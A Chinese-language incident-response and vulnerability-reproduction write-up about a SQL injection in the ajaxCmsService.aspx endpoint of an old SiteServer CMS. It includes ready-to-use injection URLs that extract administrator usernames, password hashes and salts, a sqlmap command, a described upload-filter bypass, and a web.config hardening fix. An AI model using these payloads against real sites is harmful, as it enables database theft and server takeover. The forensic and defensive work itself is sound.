背景

客户公司有一台比较陈旧的winserver2008，上面跑着陈旧的SiteServer5.0，光是这几年处理被1day攻击，各种传马，小马拖大马应接不暇，隔几个月就要在这个跑马场里陪攻击者们博弈一波，甚是有趣。比如这次深度溯源复现发现疑似在野0day也是让我学到了很多东西。

review梳理攻击过程及各部分安全设备部署的表现

review过程大致如下：

HIDS-agent发现webshell

HIDS非常及时地发现了有恶意文件上传并邮件告警，这个表现给99分。

确认系统层面安全

首先简单确认系统用户,系统进程,计划任务等比较关键的地方没有问题。

排查IIS Log找到sql注入攻击入口

通过web-log查找被传的这个马的访问记录,顺着访问记录往前摸排,最终确定了攻击者的入口是ajaxCmsService.aspx,

我们排查出的攻击者使用的攻击向量如下，这三条payload分别对应获取到服务器的UserName、Password、PasswordSalt:

http://www.xxxx.cn/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%202%20Username%20from%20bairong_Administrator--
http://www.xxxx.cn/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%201%20Password%20from%20bairong_Administrator--%20
http://www.xxxx.cn/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%202%20PasswordSalt%20from%20bairong_Administrator--

到这一步之后，攻击者就已经拿到了网站后台的登录账号及密码，虽然是加密的，但还是有工具可以解开。

找到webshell上传点

根据weblog的排查大马的post包上传记录，找到了后台上传文件接口，上传正常文件，抓包改包，通过双写绕过黑名单过滤，即可成功上传到upload目录下。

这两步实际上在现有的安全设备发展进展下，完全应该由waf来检测告警，但是很遗憾我们这台服务器前面并没有架设waf，或者接入云waf服务，可以说在应用层面上对攻击没有任何防御能力。

触发可写不可执行的安全策略

这是次典型的通过实战验证了安全策略的有效性，我还是比较兴奋的，一定要记下来。这个CMS老版本来就有很多自动化的1day在各种攻击，我们也是加固过几次，上了一些安全策略，诸如可写目录不可知行，所有访问可写目录下的aspx请求全部重定向去主页等。

上传目录的web.config可做如下限制：

<system.webServer>
<handlers accessPolicy="Read,Write" />
</system.webServer>
//除此之外，还有一些攻击手法会找一些自动解压的接口打包上传webshell+web.config，以此来覆盖原有的web.config，突破可执行的限制，这时就要通过目录权限配置来保护web.config的安全。

正因为我们之前上过策略，所以本次webshell是失效的，从log中也能看到访问的请求返回都是403。

漏洞复现

每次被攻击后我们都要进行溯源,加固, 该停用的停用,该修复的修复,安全策略更是上了一波又一波,没想到这次又被传马了,一时间我还有点接受不了,毕竟加固了那么多次还出问题,有点面子挂不住,终于下决心来一起看看源码，没想到这一看不得了,还真吓了我一跳。另一方面原因是，以往的攻击手法都其实都是的1day，可以在网上找到各种分析的案例，这次我居然没有搜到，所以更加怀疑了可能是个在野0day。

搭建环境

虚拟机起陈旧的版本是挺不容易的,在环境折腾这块实际上踩了不少的坑,我就直接把最终成功的版本信息整理一下发出来.

winServer镜像链接:

ed2k://|file|cn_windows_server_2008_r2_standard_enterprise_datacenter_and_web_with_sp1_vl_build_x64_dvd_617396.iso|3368962048|7C210CAC37A05F459758BCC1F4478F9E|/

.NET Framework4.0链接: https://www.microsoft.com/en-us/download/details.aspx?id=17851

.NET Framework4.5链接: https://download.microsoft.com/download/E/2/1/E21644B5-2DF2-47C2-91BD-63C560427900/NDP452-KB2901907-x86-x64-AllOS-ENU.exe

SiteServer5.1.15链接: https://codeload.github.com/siteserver/cms/zip/siteserver-v5.0.15

ILSpy反编译dll找到拼接sql语句

打开ajaxCmsService.aspx文件只有简短的一句话，引用继承了一个dll文件

<%@ Page language="c#" trace="False" enableViewState="False" Inherits="SiteServer.BackgroundPages.Ajax.AjaxCmsService" %>

用ILSpy文件打开这个dll，反编译分析

到这里就可以拼语句了，我们直接上payload来手动拼一下

type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%201%20Password%20from%20bairong_Administrator--%20  //payload

GetInstr(ColumName= Title;inStr=a',0) > 0 union select TOP 1 Password from bairong_Administrator-- )

GetInstr的函数部分如下：

最终语句会拼成如下，简单的union select:

inStr = CHARINDEX('a',0) > 0 union select TOP 1 Password from bairong_Administrator-- )', {columnName}) > 0

相应的sqlmap-payload:

sqlmap -u "http://198.18.93.154/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20"

影响范围及修复方案

攻击者可以获取到该站点siteserver应⽤管理员

攻击者可以访问到对应的siteserver数据库数据

常规sql注入的修复应考虑使用ORM，或者是预编译语句，避免用户的输入影响到最终数据库里的执行语句。

但在这个古老的版本代码中我们看到了大量的语句直接拼接，大量的接口未授权可直接访问，暂且把它用来学习和测试就好了。我相信在新版中肯定解决了这些很明显的安全问题，但是我们面对的现状就是旧版的上架系统还是有服务正在运行，所以还是要在现有的状况下给出紧急的修复方案，框架性质的漏洞直接修改是比较困难的,涉及的人力成本不亚于升级到新版,所以最紧急的修复措施应该是在中间件上加策略:

1. 停用高危的接口

2. 修改admin账户密码

3. 暂停后台对公网的开放

反编译了siteserver7.0的dll，已经更换为restful-api开发，且未发现有直接拼接语句的地方。